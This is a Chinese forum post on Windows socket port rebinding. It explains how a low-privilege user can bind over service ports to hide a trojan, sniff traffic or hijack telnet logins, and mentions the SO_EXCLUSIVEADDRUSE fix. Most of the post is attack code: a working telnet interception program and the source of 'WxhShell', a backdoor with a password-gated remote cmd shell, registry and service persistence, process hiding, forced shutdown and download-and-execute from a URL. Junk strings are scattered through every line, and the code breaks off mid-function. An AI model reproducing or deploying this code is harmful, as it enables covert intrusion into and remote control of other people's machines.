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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AIeYy-f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "n\!y~:  
>eXNw}_j  
  saddr.sin_family = AF_INET; |LQmdgVr$  
9. R _=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `>*P(yIN  
D"hiEz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ck}y-,>,[O  
b9U2afd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ql4T@r3l}3  
U t%ie=c  
  这意味着什么?意味着可以进行如下的攻击: WRgz]=W3w  
_w26iCnB{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _k}b  
1~*_H_Q't  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) * n[6H  
=:b/z1-v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *cd9[ ~  
#y?z2 !  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~$cw]R58,9  
/oI ''O%M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <D=%5 5  
z/TRqD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [7B&<zY/?  
\KEL.}B9E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 njIvVs`q  
lRrOoON  
  #include V6!oe^a7'  
  #include FUH1Z+9  
  #include ^b%AwzHH}  
  #include    1/gh\9h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C /E3NL8  
  int main() H1w;Wb1se  
  { +V) (,f1  
  WORD wVersionRequested; QW!'A`*x  
  DWORD ret; }A#FGH +  
  WSADATA wsaData; >?kt3.IQ!X  
  BOOL val; YONg1.^!(  
  SOCKADDR_IN saddr; JmBYD[h,  
  SOCKADDR_IN scaddr; *)w 8fq  
  int err; h$k(|/+  
  SOCKET s; T7,tJk,(  
  SOCKET sc; j_{gk"2:d`  
  int caddsize; u]}Xq{ZN  
  HANDLE mt; W=DQ6.   
  DWORD tid;   MDlC U  
  wVersionRequested = MAKEWORD( 2, 2 ); 4, :D4WYWD  
  err = WSAStartup( wVersionRequested, &wsaData ); 7fVVU+y  
  if ( err != 0 ) { Uq&|iB#mF  
  printf("error!WSAStartup failed!\n"); n;MoMGnPh,  
  return -1; Y 8P  
  } $yt|nO  
  saddr.sin_family = AF_INET; l 0 1Lg6+S  
   _x lgsa  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `w q\K8v  
7W>T= @  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  Op|Be  
  saddr.sin_port = htons(23); MF1u8Yl:0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WcdU fv(>  
  { PCES&|*rf  
  printf("error!socket failed!\n"); H95VU"  
  return -1; hIdGQKr>V  
  } 9KP+  
  val = TRUE; 1rN&Y,61\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 > 1r>cZn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7#RW4ZM  
  { Ghj6&K%b0  
  printf("error!setsockopt failed!\n"); 6q5V*sJ&  
  return -1; AXJC&O}`  
  } \UiuJ+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a{HvrWs?Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u_uC78`p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }3+(A`9h f  
I[R?j?$}>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E{FNsa  
  { ,7'l$-rl  
  ret=GetLastError(); xNx!2MrR;  
  printf("error!bind failed!\n"); 0D\FFfs  
  return -1; f[z#=zv  
  } 3U}z?gP[  
  listen(s,2); CfVz'  
  while(1) lUp 7#q  
  { :gR`rc!  
  caddsize = sizeof(scaddr); <}e<Zf!  
  //接受连接请求 1mB6rp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OtC/)sX  
  if(sc!=INVALID_SOCKET) uW[ <?sFG  
  { yn7n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8>w/Es5  
  if(mt==NULL) .Wr7?'D1M  
  { :>cJ[K?0  
  printf("Thread Creat Failed!\n"); 'al-C;Z  
  break; >-:U   
  } f>RPh bq|  
  } gs. K,xma  
  CloseHandle(mt); DF-og*V  
  } aMzAA  
  closesocket(s); v"s}7trWV  
  WSACleanup(); \zKVgywR  
  return 0; s*S@} l  
  }   \Q#F&q0  
  DWORD WINAPI ClientThread(LPVOID lpParam) \^_F>M  
  { h[ t OY  
  SOCKET ss = (SOCKET)lpParam; 8`im4.~#%  
  SOCKET sc; No[>1]ds  
  unsigned char buf[4096]; I5-/K VWb  
  SOCKADDR_IN saddr; QN0Ik 2L  
  long num; 6#.R'O  
  DWORD val; l lQ<x  
  DWORD ret; jx-W$@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K%Rx5 S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ' rXkTm1{  
  saddr.sin_family = AF_INET; r^]0LJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &^z~wJ,]  
  saddr.sin_port = htons(23); G;tIhq[$Vb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lte~26=e  
  { B^KC~W  
  printf("error!socket failed!\n"); t4,6`d?C  
  return -1; zJ#q*2A(Z  
  } 643 O(0a  
  val = 100; ysSEgC3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q:%gJ6pa  
  { Zaq:l[%  
  ret = GetLastError(); [jafPi(#g  
  return -1; c|I{U[(U  
  } xOS4J+'s@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V+E2nJ  
  { ost~<4~  
  ret = GetLastError(); "--rz;+K  
  return -1; }|x]8zL8G  
  } 6 Iup4sP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d,$[633It}  
  { Vls*fY:W  
  printf("error!socket connect failed!\n"); Um*{~=;u  
  closesocket(sc); M34*$>bk  
  closesocket(ss); Z EG  
  return -1; >bmL;)mc&  
  } l_$~~z ~  
  while(1) (/Nw  
  { T8ZsuKio]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K+n6.BzW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f\Pd#$3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Rh: \/31~  
  num = recv(ss,buf,4096,0); Mq6"7L  
  if(num>0) ~uV.jh  
  send(sc,buf,num,0); G`w7dn;&  
  else if(num==0) @1rF9< 4g  
  break; R_(A&,  
  num = recv(sc,buf,4096,0); PF4Cs3m/  
  if(num>0) 2<<,aL*  
  send(ss,buf,num,0); GT* \gZ  
  else if(num==0) B<+}_3.  
  break; IUI >/87u  
  } /SZsXaC '  
  closesocket(ss); _4.fT  
  closesocket(sc); j# o0y5S  
  return 0 ; qA&N6`  
  } '%)7%O,2  
Z~$fTW6g  
zX|CW;  
========================================================== F!N;4J5u  
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下边附上一个代码,,WXhSHELL )PR{ia64;<  
Z1*y$=D?3[  
========================================================== E5.)ro=$  
qksN {t  
#include "stdafx.h" *"4 OXyV  
;Q-(tGd  
#include <stdio.h> lO)p  
#include <string.h> kE/>Ys@w  
#include <windows.h> C S+6!F]  
#include <winsock2.h> *h$Dh5%P  
#include <winsvc.h> .~C*7_  
#include <urlmon.h> |VTm5.23  
nB"q  
#pragma comment (lib, "Ws2_32.lib") "o% N`Xlx  
#pragma comment (lib, "urlmon.lib") %Wn/)#T|  
 Trm)7B*  
#define MAX_USER   100 // 最大客户端连接数 ?GX 5Pvg  
#define BUF_SOCK   200 // sock buffer |Q.t]TR'P  
#define KEY_BUFF   255 // 输入 buffer w#]%I+  
mG\,T3/*  
#define REBOOT     0   // 重启 hyFq>XFo  
#define SHUTDOWN   1   // 关机 TRG"fVR  
GIt; Y  
#define DEF_PORT   5000 // 监听端口 m?bb/o'B  
Q:lSKf  
#define REG_LEN     16   // 注册表键长度 Lab{?!E>U  
#define SVC_LEN     80   // NT服务名长度 wbVM'E/&  
Z=4Krfn  
// 从dll定义API ,.G6c=pZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `dMl5b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~cQP4 kBD]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pa%XLn'5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); , )u}8ty3j  
'GS1"rkW<5  
// wxhshell配置信息 A\k@9w\Ll;  
struct WSCFG { v~uQ_ae$>  
  int ws_port;         // 监听端口 "\]kK @,  
  char ws_passstr[REG_LEN]; // 口令 `)!)}PXl  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hk(w\   
  char ws_regname[REG_LEN]; // 注册表键名  &EV|knW  
  char ws_svcname[REG_LEN]; // 服务名 >O|hN`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6D6=5!l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0X~Dxs   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ':kBHCR7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _ i.CvYe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JaiYVx(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XLI'f$w&  
i%D/@$\D6  
}; vUY?Eb[  
A<QYW,:|  
// default Wxhshell configuration )k- 7mwkZ  
struct WSCFG wscfg={DEF_PORT, VNx}ADXu]  
    "xuhuanlingzhe", e*:[#LJ]C  
    1, a:7"F{D91  
    "Wxhshell", ,`B*rCOa  
    "Wxhshell", ')}$v+9h  
            "WxhShell Service", 0 A/GWSmF  
    "Wrsky Windows CmdShell Service",  >pT92VN  
    "Please Input Your Password: ", ?7Y X @x  
  1, !634 8nU:  
  "http://www.wrsky.com/wxhshell.exe", v93+<@Z  
  "Wxhshell.exe" _T<ney}Y<  
    }; >5i1M^g(  
m%'9zL c  
// 消息定义模块 HkGzyDt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LPvyfD;Zy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jrvhTej  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )j]S ;Mr  
char *msg_ws_ext="\n\rExit."; Lb{~a_c  
char *msg_ws_end="\n\rQuit."; m{I_E G  
char *msg_ws_boot="\n\rReboot..."; 6^s]2mMfk  
char *msg_ws_poff="\n\rShutdown..."; Z#3wMK~  
char *msg_ws_down="\n\rSave to "; *<OWd'LI  
w[n|Sauy,  
char *msg_ws_err="\n\rErr!"; 3T|:1Nw  
char *msg_ws_ok="\n\rOK!"; gjk=`lU  
rb qH9 S  
char ExeFile[MAX_PATH]; ) Tpc8Hr  
int nUser = 0; /Vg R[  
HANDLE handles[MAX_USER]; mv)M9c,`  
int OsIsNt; N|WnUlf]:  
x{&0:|bCs6  
SERVICE_STATUS       serviceStatus; A|c  :&i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Vlfg51ob  
%]nLCoQh  
// 函数声明 67~m9pk  
int Install(void); b=Zg1SqV  
int Uninstall(void); WIQt5=-  
int DownloadFile(char *sURL, SOCKET wsh); 69`9!heu  
int Boot(int flag); H7H'0C  
void HideProc(void); Gg{@]9  
int GetOsVer(void); p}}}~ lC/  
int Wxhshell(SOCKET wsl); _+T;4U' p  
void TalkWithClient(void *cs); *;1G+Q#  
int CmdShell(SOCKET sock); #Jq@p_T"  
int StartFromService(void); -$.$6"]  
int StartWxhshell(LPSTR lpCmdLine); ^{zwIH2I]  
iS hB ^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0/#XUX 4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "mSDL:$  
O_FT@bo\  
// 数据结构和表定义 .KIAeCvl\  
SERVICE_TABLE_ENTRY DispatchTable[] = Q4Hf!v]r  
{ m Wsegq4  
{wscfg.ws_svcname, NTServiceMain}, 9 %,_G.  
{NULL, NULL} +pnT6kU|  
}; )><cL:IJ}S  
t'Nu^_#  
// 自我安装 |0b$60m$!t  
int Install(void) GQ$0`?lp  
{ aGr(djD  
  char svExeFile[MAX_PATH]; 6<(HT#=#  
  HKEY key; .[+8D=  
  strcpy(svExeFile,ExeFile); mRW(]OFIai  
GLv}|>W  
// 如果是win9x系统,修改注册表设为自启动 tV[?WA[xt  
if(!OsIsNt) { tkR^dC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `i9WnPRt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^8 AV#a  
  RegCloseKey(key); [t: =%&B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ni"fV]'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W7O%.xP  
  RegCloseKey(key); #:"\6s  
  return 0; s3uT:Xw3rW  
    } `g6ZhG:W  
  } /?9e{,\s  
} A&Ut:OiA  
else { '4L i  
\@*cj8e  
// 如果是NT以上系统,安装为系统服务 RIC'JLWQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &dbX>u q  
if (schSCManager!=0) 6(ju!pE`  
{ H \.EK Z  
  SC_HANDLE schService = CreateService 0;!aO.l]K  
  ( tZk@ RX  
  schSCManager,  sFx $  
  wscfg.ws_svcname,  h%E25in  
  wscfg.ws_svcdisp, ' f}^/`J  
  SERVICE_ALL_ACCESS, yV$p(+KkS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qusgX;)  
  SERVICE_AUTO_START, BaR9X ?~O$  
  SERVICE_ERROR_NORMAL, ]Q6,,/nn  
  svExeFile, Q5Y4@  
  NULL, k#5S'sCF<  
  NULL, Rdwr?:y(]  
  NULL, [ j1SX-NX  
  NULL, 7`~h'(k  
  NULL KG4~t=J`  
  ); !#f4t]FM`B  
  if (schService!=0) n)sK#C-VA  
  { tCI8 \~  
  CloseServiceHandle(schService); WN?!(r<qA_  
  CloseServiceHandle(schSCManager); ^X)U^Qd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x*}(l%[  
  strcat(svExeFile,wscfg.ws_svcname); OC 7:Dp4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VtZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x|F6^d   
  RegCloseKey(key); E-E+/.A  
  return 0; SXwgn >  
    } dU:s^^f&R  
  } TJ?}5h5  
  CloseServiceHandle(schSCManager); 2^[fUzL?  
} 1[} =,uaM  
} nO\|43W  
O >n L;I  
return 1; nUs)  
} h:a5FK@  
8p-5.GU)<e  
// 自我卸载 R+]Fh4t  
int Uninstall(void) U1 1rj,7  
{ fR_)e:  
  HKEY key; 0 m";=:(w  
j<"0ym)A  
if(!OsIsNt) {   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b ?B"u^b!  
  RegDeleteValue(key,wscfg.ws_regname); vTh-I&}:  
  RegCloseKey(key); d,8V-Dk+p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `axNeqM  
  RegDeleteValue(key,wscfg.ws_regname); Tk|0 scjE^  
  RegCloseKey(key); MR#jI  
  return 0; D7sw;{ns  
  } I@pnZ-5  
} #U"\v7C{n  
} Hu1w/PLq  
else { A;SRm<,  
jMW|B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J4!Z,-  
if (schSCManager!=0) &EE6<-B-  
{ 8ENAif   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ##}a0\x|  
  if (schService!=0) d0MX4bhZ  
  { j 9y,UT  
  if(DeleteService(schService)!=0) { E+ JGqk  
  CloseServiceHandle(schService); KD-0NO=oL  
  CloseServiceHandle(schSCManager); AJC Wp4,  
  return 0; X H{5E4P  
  } ,y:q]PR  
  CloseServiceHandle(schService); }b)?o@9}:  
  } Pkc4=i,`A  
  CloseServiceHandle(schSCManager); |os2@G$  
} xot q$r  
} M}(4>W  
QTcngv[  
return 1; R?Iv<(I  
} $v-lG(  
&fiDmUxj  
// 从指定url下载文件 a9FlzR  
int DownloadFile(char *sURL, SOCKET wsh) &XrF#s  
{ s]U'*?P  
  HRESULT hr; &e cf5jFy  
char seps[]= "/"; #)my)}o\p  
char *token; V [[B~Rs  
char *file; =1VY/sv  
char myURL[MAX_PATH]; 1?E\2t&K  
char myFILE[MAX_PATH]; goRoi\z $  
{;f` t3D  
strcpy(myURL,sURL); @B7 ;  
  token=strtok(myURL,seps); D dt9`j  
  while(token!=NULL) 2>ce(4Gky  
  { 5C#&vYnq  
    file=token; n)$ q*IN"  
  token=strtok(NULL,seps); @^k$`W;  
  } :L*CL 8m  
l]oGhM;  
GetCurrentDirectory(MAX_PATH,myFILE); z#D@mn5\ a  
strcat(myFILE, "\\"); J@!Sf7k42  
strcat(myFILE, file); _ F@>?\B  
  send(wsh,myFILE,strlen(myFILE),0); hh:0m\@<  
send(wsh,"...",3,0); _Xsn1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i"Ct}7i  
  if(hr==S_OK) "W\ #d  
return 0; &NHIX(b6  
else D2>=^WP6+  
return 1; "84.qgYaG  
OwSr`2'9  
} top3o{ 4  
8Ln:y'K  
// 系统电源模块 MbY a6jrF  
int Boot(int flag) iOj mj0  
{ xqb I~jV#  
  HANDLE hToken; dgX0\lKpf  
  TOKEN_PRIVILEGES tkp; VdVca1Z  
^hY<avi6s  
  if(OsIsNt) { u'Mq^8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +]5JXt^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Je iTh^  
    tkp.PrivilegeCount = 1; M ;\K+,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Z)`:Gae  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ME0ivr*=:  
if(flag==REBOOT) { "9>#Q3<N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -bZ^A~<O,  
  return 0; |Vd)7/LN  
} f\^FUJy  
else { Nl;rg*@o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %ze Sx  
  return 0; %z.u % %  
} JGGss5  
  } xV<NeU  
  else { MttVgNV  
if(flag==REBOOT) { <aL$d7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X@|  
  return 0; ro^Y$;G  
} bG2 !5m4L  
else { 7v%~^l7:x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~q-|cl<  
  return 0; W9a H]9b  
} &W".fRH_O  
} TO3Yz3+A  
&*/X*!_HK  
return 1; EG<K[t  
} pm3?  
;}^Pfm8  
// win9x进程隐藏模块 J~n{gT<L  
void HideProc(void) 'T+3tGCy+  
{ \$riwL  
O3Ks|%1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (MJu3t @  
  if ( hKernel != NULL ) =_.Zv  
  { iwrdZLE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l ^\5Jr03  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); - Nplx  
    FreeLibrary(hKernel); }tc,3> /  
  } pX6OhwkTK  
^[^uDE <  
return; =0x[Sa$&,  
} )0qXZ gs  
VPtA %1  
// 获取操作系统版本 xJc'tT6@  
int GetOsVer(void) rpDH>Hzq  
{ "F)7!e  
  OSVERSIONINFO winfo; TxPP{6t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4s0>QD$J  
  GetVersionEx(&winfo); $zxCv7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dve5Ml-  
  return 1; |D`Zi>lv  
  else Ww)qBsi8  
  return 0; QJGRi  
} _y5b>+  
5vg@zH\z  
// 客户端句柄模块 ]7'Q2OU7  
int Wxhshell(SOCKET wsl) }ndH|,  
{ 3#0nus|=S  
  SOCKET wsh; PJh\U1Z  
  struct sockaddr_in client; s)xfTr_$  
  DWORD myID; cZ^$!0  
+w GE  
  while(nUser<MAX_USER) TtKBok  
{ vEn12s(lj  
  int nSize=sizeof(client);  {l_R0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4/Ok/I  
  if(wsh==INVALID_SOCKET) return 1; r{6 ,;  
F;`of  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qXP)R/~OZ  
if(handles[nUser]==0) &k : |  
  closesocket(wsh); ?G.9D`95  
else wQ(ME7 t  
  nUser++; t-_N|iW' 5  
  } SQa.xLU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B)ynF?"  
bpKMQrwd  
  return 0; 4lvo9R  
} }_5z(7}3  
^>[DG]g  
// 关闭 socket *R1x^t+)  
void CloseIt(SOCKET wsh) !>9*$E |  
{ X3X~`~bAD  
closesocket(wsh); V,|9$A;  
nUser--; 9I30ULm  
ExitThread(0); ?#slg8[  
} jVk|(  
^x:4%%Q]l  
// 客户端请求句柄 B]Yj"LM)  
void TalkWithClient(void *cs) o.}^6.h"  
{ &&JI$x0;  
<fs2;  
  SOCKET wsh=(SOCKET)cs; klJDYFX=HK  
  char pwd[SVC_LEN]; ] p'+F  
  char cmd[KEY_BUFF]; M}/%t1^g:  
char chr[1]; cGOE$nL  
int i,j; <Hm:#<\  
?CL1^N%  
  while (nUser < MAX_USER) { gh i!4  
OkA-=M)RI:  
if(wscfg.ws_passstr) { *%uv7G@%N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MeP U`M--  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q)<5&|V  
  //ZeroMemory(pwd,KEY_BUFF); 9c#9KCmc  
      i=0; "Z}0A/y  
  while(i<SVC_LEN) { #;}IHAR  
V/>SjUNq  
  // 设置超时 v`x~O+  
  fd_set FdRead; ^/Gjk  
  struct timeval TimeOut; BFj@Z'7P  
  FD_ZERO(&FdRead); Yg2z=&p-{"  
  FD_SET(wsh,&FdRead); .B#Lt,m  
  TimeOut.tv_sec=8; C'7W50b  
  TimeOut.tv_usec=0; :qgdn,Me  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6TPcG dZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,FS iE\  
,<pql!B-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Q+dBSKSK  
  pwd=chr[0]; bs%]xf ~D;  
  if(chr[0]==0xd || chr[0]==0xa) { 69yTGUG3  
  pwd=0; '{6`n5:e  
  break; Wu.od|t0  
  } If!0w ;h  
  i++; z-$?.?d  
    } J8? 6yd-7  
CdTmL{Y1  
  // 如果是非法用户,关闭 socket `2r21rVntf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t$Irr*  
} B>a`mFM  
]~kqPw<R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #J^p,6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D|9B1>A,m  
u b4(mS  
while(1) { Arfq  
TSHp.ABf  
  ZeroMemory(cmd,KEY_BUFF); ] ^  
D8[&}D4  
      // 自动支持客户端 telnet标准   GXJ3E"_.  
  j=0; |a\s}M1  
  while(j<KEY_BUFF) { 3%|<U51  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l*%voKZG  
  cmd[j]=chr[0]; 4Z]^v4vb  
  if(chr[0]==0xa || chr[0]==0xd) { '*-X 3p  
  cmd[j]=0; b;!ilBc  
  break; nwcT8b 87J  
  } 8Bhot,u'T  
  j++; s8eiq`6\H}  
    } r<C^hs&]  
o~es> ;  
  // 下载文件 :MJBbrV ,  
  if(strstr(cmd,"http://")) { / HaS.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :p8JO:g9  
  if(DownloadFile(cmd,wsh)) L=HL1Qe$G]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -6t# ?Dkc'  
  else A=h`Z^8\B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( 7Y :3  
  } +H ="5uO<  
  else { V!FzVl=G  
i Cv &<C@  
    switch(cmd[0]) { G*J(4~Yw}  
  QW6k!ms$  
  // 帮助 jN5Sc0|b  
  case '?': { | G%MiYd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _DJ0 MR~3  
    break; 5l(;+#3y/  
  } OtQKDpJq  
  // 安装 UK& E#i  
  case 'i': { .iew5.eB+  
    if(Install()) zq1&MXR)l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;'J L$=  
    else /=7|FtB`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "OK(<x]3;>  
    break; JZP2NB_xt  
    } - *yj[?6  
  // 卸载 $V5Ol6@ 2  
  case 'r': { kN>d5q9b%X  
    if(Uninstall()) 7Jc=`Zm'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vO4 &ZQ>6  
    else kO2im+y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WQ"ZQ  
    break; #NL1N_B  
    } zROyG  
  // 显示 wxhshell 所在路径 #axRg=d?K  
  case 'p': { {bc<0  
    char svExeFile[MAX_PATH]; .v;2Q7X  
    strcpy(svExeFile,"\n\r"); h)A+5^:^  
      strcat(svExeFile,ExeFile); Th,2gX9  
        send(wsh,svExeFile,strlen(svExeFile),0); UI;!_C_  
    break; <w2Nh eM 3  
    } = b)q.2'#  
  // 重启 Pv0OoN*eJ{  
  case 'b': { |c >  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &BE[=& |  
    if(Boot(REBOOT)) d5zzQ]|L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_|WberU  
    else { iZ_R oJ  
    closesocket(wsh); V?Nl%M[b  
    ExitThread(0); ;\#u19  
    } QMfYM~o  
    break; QAb[M\G  
    } ^OA}#k NTW  
  // 关机 Po^2+s(fY  
  case 'd': { n\cP17dr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 88G[XkL$2  
